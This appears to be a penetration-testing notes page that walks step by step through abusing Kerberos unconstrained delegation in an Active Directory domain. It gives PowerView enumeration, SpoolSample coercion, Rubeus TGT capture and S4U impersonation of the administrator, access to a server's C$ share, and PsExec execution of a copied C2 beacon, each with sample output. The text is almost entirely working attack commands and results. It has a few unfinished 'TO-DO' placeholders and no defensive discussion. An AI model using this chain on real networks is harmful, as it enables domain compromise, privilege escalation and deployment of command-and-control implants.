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Abuse #1: Capture Ticket
1. Check TRUSTED_FOR_DELEGATION
. .\PowerView.ps1
Sample Output:
TO-DOGet-DomainComputer
Sample Output:
PS C:\programdata> Get-DomainComputer
...[SNIP]...
logoncount : 131
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=SRV002,CN=Computers,DC=Example,DC=local
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
displayname : SRV002$
lastlogontimestamp : 11/23/2024 2:29:01 AM
objectsid : S-1-5-21-422340810-923920092-1608110645-1103
samaccountname : SRV002$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : SRV002
accountexpires : NEVER
whenchanged : 11/23/2024 2:26:27 PM
instancetype : 4
usncreated : 16398
objectguid : e54dc358-b87f-49ad-8bcf-2029bf051006
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=Example,DC=local
dscorepropagationdata : {1/13/2020 5:47:08 PM, 1/13/2020 5:47:08 PM, 1/13/2020 5:47:08 PM, 1/13/2020 5:47:08
PM...}
serviceprincipalname : {TERMSRV/SRV002, TERMSRV/srv002.Example.local, WSMAN/srv002,
WSMAN/srv002.Example.local...}
lastlogon : 11/23/2024 6:55:52 AM
iscriticalsystemobject : False
usnchanged : 139420
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
whencreated : 1/12/2020 10:24:53 AM
primarygroupid : 515
pwdlastset : 3/15/2020 8:38:58 AM
msds-supportedencryptiontypes : 28
name : SRV002
dnshostname : srv002.Example.local
...[SNIP]...
2. SpoolSample
# Run multiple times
.\SpoolSample.exe <TARGET_DOMAIN> <CURRENT_DOMAIN>
Sample Output:
PS C:\programdata> .\SpoolSample.exe SRV001.EXAMPLE.LOCAL SRV002.EXAMPLE.LOCAL
.\SpoolSample.exe SRV001.EXAMPLE.LOCAL SRV002.EXAMPLE.LOCAL
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
Ref: SpoolSample.exe
3. Monitor Ticket Change
.\rubeus.exe monitor /interval:1 /nowrap
Sample Output:
PS C:\programdata> .\rubeus.exe monitor /interval:1 /nowrap
.\rubeus.exe monitor /interval:1 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs
[*] 11/23/2024 3:18:19 PM UTC - Found new TGT:
User : SRV001$@EXAMPLE.LOCAL
StartTime : 11/23/2024 2:29:32 AM
EndTime : 11/23/2024 12:28:56 PM
RenewTill : 11/30/2024 2:28:56 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFqjCCBa ...[SNIP]... guTE9DQUw=
[*] 11/23/2024 3:18:19 PM UTC - Found new TGT:
User : SRV002$@EXAMPLE.LOCAL
StartTime : 11/23/2024 2:29:01 AM
EndTime : 11/23/2024 12:29:01 PM
RenewTill : 11/30/2024 2:29:01 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Base64EncodedTicket :
doIFqjCCBa ...[SNIP]... guTE9DQUw=
[*] 11/23/2024 3:18:19 PM UTC - Found new TGT:
User : SRV002$@EXAMPLE.LOCAL
StartTime : 11/23/2024 2:29:01 AM
EndTime : 11/23/2024 12:29:01 PM
RenewTill : 11/30/2024 2:29:01 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Base64EncodedTicket :
doIFqjCCBa ...[SNIP]... guTE9DQUw=
[*] Ticket cache size: 3
4. Impersonate
.\rubeus.exe s4u /impersonateuser:administrator /ticket:<BASE64_TICKET> /altservice:cifs/<TARGET_DOMAIN> /self /ptt
Sample Output:
PS C:\programdata> .\rubeus.exe s4u /impersonateuser:administrator /ticket:doIFqjCCBa...[SNIP]...guTE9DQUw= /altservice:cifs/srv001.example.local /self /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: S4U
[*] Action: S4U
[*] Building S4U2self request for: 'SRV001$@example.LOCAL'
[*] Using domain controller: dc.example.local (192.168.22.10)
[*] Sending S4U2self request to 192.168.22.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/srv001.example.local'
[*] Got a TGS for 'administrator' to 'cifs@example.LOCAL'
[*] base64(ticket.kirbi):
doIGMDCCBi...[SNIP]...5sb2NhbA==
[+] Ticket successfully imported!
5. Check
dir \\<TARGET_DOMAIN>\C$
Sample Output:
PS C:\programdata> dir \\srv001.example.local\C$
dir \\srv001.example.local\C$
Directory: \\srv001.example.local\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/24/2020 6:52 AM PerfLogs
d-r--- 7/18/2024 7:21 AM Program Files
d----- 1/13/2020 9:46 AM Program Files (x86)
d-r--- 1/12/2020 2:28 AM Users
d----- 7/18/2024 4:16 PM Windows
6. PsExec
# For Example, a C2 Beacon
cp C:\programdata\beacon.exe \\<TARGET_DOMAIN>\C$\Programdata
Sample Output:
TO-DO.\PsExec64.exe -accepteula \\<TARGET_DOMAIN> -h 'C:\programdata\beacon.exe'
Sample Output:
PS C:\programdata> .\PsExec64.exe -accepteula \\srv001.example.local -h 'C:\programdata\beacon.exe'
.\PsExec64.exe -accepteula \\srv001.example.local -h 'C:\programdata\beacon.exe'
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting C:\programdata\beacon.exe on srv001.example.local...
C:\programdata\beacon.exe exited on srv001.example.local with error code 0.